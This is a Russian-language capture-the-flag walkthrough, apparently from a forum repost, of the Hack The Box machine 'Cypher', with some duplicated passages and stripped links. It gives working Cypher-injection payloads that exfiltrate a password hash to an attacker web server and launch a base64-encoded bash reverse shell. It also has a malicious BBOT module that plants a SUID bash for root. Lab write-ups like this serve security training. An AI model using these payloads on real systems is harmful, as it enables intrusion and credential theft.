stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как при помощи инъекции кода на языке Cypher можно атаковать графовую базу данных Neo4j и обойти авторизацию. Затем мы проведем инъекцию команд ОС и получим сессию на хосте, а собрав учетные данные, сменим пользовательскую сессию и повысим привилегии через регистрацию своего модуля для BBOT.
Наша цель — получение прав суперпользователя на машине Cypher с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень сложности задания — средний.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
или Зарегистрируйся. Там нас встретит сайт с графом и ссылкой на страницу авторизации.
Главная страница сайта
Форма авторизации
Удобнее просмотреть текст в Burp History. Нам отображается часть запроса на языке Cypher, который используется на сервере.
Burp History
Про Cypher-инъекции я уже писал в Для просмотра ссылки Войдиили Зарегистрируйся. По запросу видно, что хеш пароля возвращается как значение h.value. Выполним инъекцию и эксфильтруем на свой веб‑сервер значение хеша. Сам сервер создаем командой python3 -m http.server.
Запрос на сервер
Логи веб‑сервера
Попытки пробрутить хеш ни к чему не привели, поэтому попытаемся найти еще что‑нибудь интересное.
или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
Результат сканирования каталогов с помощью feroxbuster
Среди эндпоинтов есть интересные: /api и /testing. На первом всегда Not Found, а вот каталог /testing не имеет индекс‑файла, и поэтому мы получаем список файлов в каталоге.
Ответ сервера
Содержимое каталога testing
Скачиваем с веб‑сервера jar-файл и декомпилируем его, например на сайте Для просмотра ссылки Войдиили Зарегистрируйся. В файле CustomFunctions происходит выполнение команды curl в терминале, при этом в команде можно манипулировать переменной url, которая является параметром метода custom.getUrlStatusCode.
Декомпилированный код
Попробуем вызвать этот метод через Cypher-инъекцию. Для этого в исходный запрос сначала вернем значение хеша, а затем через UNION CALL объединим ответ с результатом выполнения метода custom.getUrlStatusCode. В качестве параметра метода передаем реверс‑шелл, созданный при помощи Для просмотра ссылки Войдиили Зарегистрируйся. Запускаем листенер (pwncat-cs -lp 4321) и отправляем запрос с нагрузкой на сервер.
В листенере мгновенно появляется сессия пользователя neo4j.
Сессия пользователя neo4j
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение, запустим сканирование и посмотрим, что нашлось интересненького. Нам доступны файлы в домашнем каталоге пользователя graphasm.
Файлы в домашнем каталоге пользователя graphasm
В конфиге bbot_preset.yml находим учетные данные для neo4j.
Содержимое файла bbot_preset.yml
С этим паролем авторизуемся по SSH от имени пользователя graphasm.
Флаг пользователя
Настройки sudoers
Узнаём, что мы можем выполнить файл /usr/local/bin/bbot от имени пользователя root без ввода пароля. Файл представляет собой ссылку на Python-скрипт /opt/pipx/venvs/bbot/bin/bbot.
Проверка файла
Содержимое скрипта
При запуске приложения необходимо указать параметры. Обратим внимание на упоминание модулей в справке.
Запуск скрипта
Справка help
Я поискал информацию о том, что делают модули BBOT, и нашел Для просмотра ссылки Войдиили Зарегистрируйся. Из нее выяснил, что мы можем написать свой модуль и подключить его к приложению, которое можно выполнить в привилегированном контексте. Наш модуль будет копировать файл командной оболочки и назначать ему S-бит.
Помимо шаблона модуля, в справке есть и инструкция по его подключению.
Гайд для подключения модуля
Поместим в каталог /tmp сам модуль и создадим файл с настройками conf.yml, где укажем каталог модулей.
Когда все будет готово, запустим BBOT с указанием конфига и имени модуля. Затем остановим работу приложения и проверим атрибуты скопированного файла командной оболочки /tmp/bash.
Запуск приложения
Так мы получаем сессию от имени пользователя root.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Cypher с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.57 cypher.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Сканер нашел два открытых порта:
- 22 — служба OpenSSH 9.6p1;
- 80 — веб‑сервер Nginx 1.24.0.

Точка входа
Я попробовал вставить в форму авторизации базовую нагрузку, которая бы помогла обойти авторизацию, если бы сработала инъекция admin' or 1=1 -- -. Однако получаем огромный текст ошибки.
Удобнее просмотреть текст в Burp History. Нам отображается часть запроса на языке Cypher, который используется на сервере.

Про Cypher-инъекции я уже писал в Для просмотра ссылки Войди
admin' OR 1=1 LOAD CSV FROM '[URL='http://10.10.16.73:8000/?value=%27+h.value']http://10.10.16.73:8000/?value='+h.value[/URL] AS hash Return ''//


Попытки пробрутить хеш ни к чему не привели, поэтому попытаемся найти еще что‑нибудь интересное.
Точка опоры
Попробуем перебрать каталоги и файлы при помощи feroxbuster.Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиПри запуске указываем следующие параметры:
- -u — URL;
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -d — глубина сканирования;
- -t — количество потоков.
feroxbuster -u [URL]http://cypher.htb/[/URL] -w directory_2.3_medium_lowercase.txt -d 1 -t 128

Среди эндпоинтов есть интересные: /api и /testing. На первом всегда Not Found, а вот каталог /testing не имеет индекс‑файла, и поэтому мы получаем список файлов в каталоге.


Скачиваем с веб‑сервера jar-файл и декомпилируем его, например на сайте Для просмотра ссылки Войди

Попробуем вызвать этот метод через Cypher-инъекцию. Для этого в исходный запрос сначала вернем значение хеша, а затем через UNION CALL объединим ответ с результатом выполнения метода custom.getUrlStatusCode. В качестве параметра метода передаем реверс‑шелл, созданный при помощи Для просмотра ссылки Войди
admin' return h.value AS value UNION CALL custom.getUrlStatusCode("localhost;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi43My80MzIxIDA+JjE= |base64 -d |bash;") YIELD statusCode AS value RETURN value ; //
В листенере мгновенно появляется сессия пользователя neo4j.

Продвижение
Мы можем залогиниться на сервере от имени neo4j, но этот пользователь ограничен в правах. Нам нужно найти способ повысить привилегии в системе. Я, как обычно, буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение, запустим сканирование и посмотрим, что нашлось интересненького. Нам доступны файлы в домашнем каталоге пользователя graphasm.

В конфиге bbot_preset.yml находим учетные данные для neo4j.

С этим паролем авторизуемся по SSH от имени пользователя graphasm.

Локальное повышение привилегий
Заново проводить полную разведку после смены пользователя излишне, достаточно проверить только те вещи, которые могли измениться. Одна из них — это настройки sudoers. Там бывают перечислены разрешения запускать без рутового аккаунта некоторые команды, требующие режима суперпользователя.sudo -l

Узнаём, что мы можем выполнить файл /usr/local/bin/bbot от имени пользователя root без ввода пароля. Файл представляет собой ссылку на Python-скрипт /opt/pipx/venvs/bbot/bin/bbot.
info
BBOT — это автоматический разведбот для хакеров и безопасников, который сам находит цели, сканирует порты, собирает метаданные и передает их дальше по цепочке модулей.


При запуске приложения необходимо указать параметры. Обратим внимание на упоминание модулей в справке.


Я поискал информацию о том, что делают модули BBOT, и нашел Для просмотра ссылки Войди
Код:
from bbot.modules.base import BaseModule
import os
class whois(BaseModule):
watched_events = ["DNS_NAME"] # Watch for DNS_NAME events
produced_events = ["WHOIS"] # We produce WHOIS events
flags = ["passive", "safe"]
meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
options = {"api_key": ""} # Module config options
options_desc = {"api_key": "WhoisXMLAPI Key"}
per_domain_only = True # Only run once per domain
base_url = "https://www.whoisxmlapi.com/whoisserver/WhoisService"
# One-time setup — runs at the beginning of the scan
async def setup(self):
os.system("cp /bin/bash /tmp/bash && chmod u+s /tmp/bash")
self.api_key = self.config.get("api_key")
if not self.api_key:
# Soft-fail if no API key is set
return None, "Must set API key"
async def handle_event(self, event):
self.hugesuccess(f"Got {event} (event.data: {event.data})")
_, domain = self.helpers.split_domain(event.data)
url = f"{self.base_url}?apiKey={self.api_key}&domainName={domain}&outputFormat=JSON"
self.hugeinfo(f"Visiting {url}")
response = await self.helpers.request(url)
if response is not None:
await self.emit_event(response.json(), "WHOIS", parent=event)
Помимо шаблона модуля, в справке есть и инструкция по его подключению.

Поместим в каталог /tmp сам модуль и создадим файл с настройками conf.yml, где укажем каталог модулей.
module_dirs:
- /tmp
Когда все будет готово, запустим BBOT с указанием конфига и имени модуля. Затем остановим работу приложения и проверим атрибуты скопированного файла командной оболочки /tmp/bash.
sudo /usr/local/bin/bbot -p ./conf.yml -m whois

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.Так мы получаем сессию от имени пользователя root.

Машина захвачена!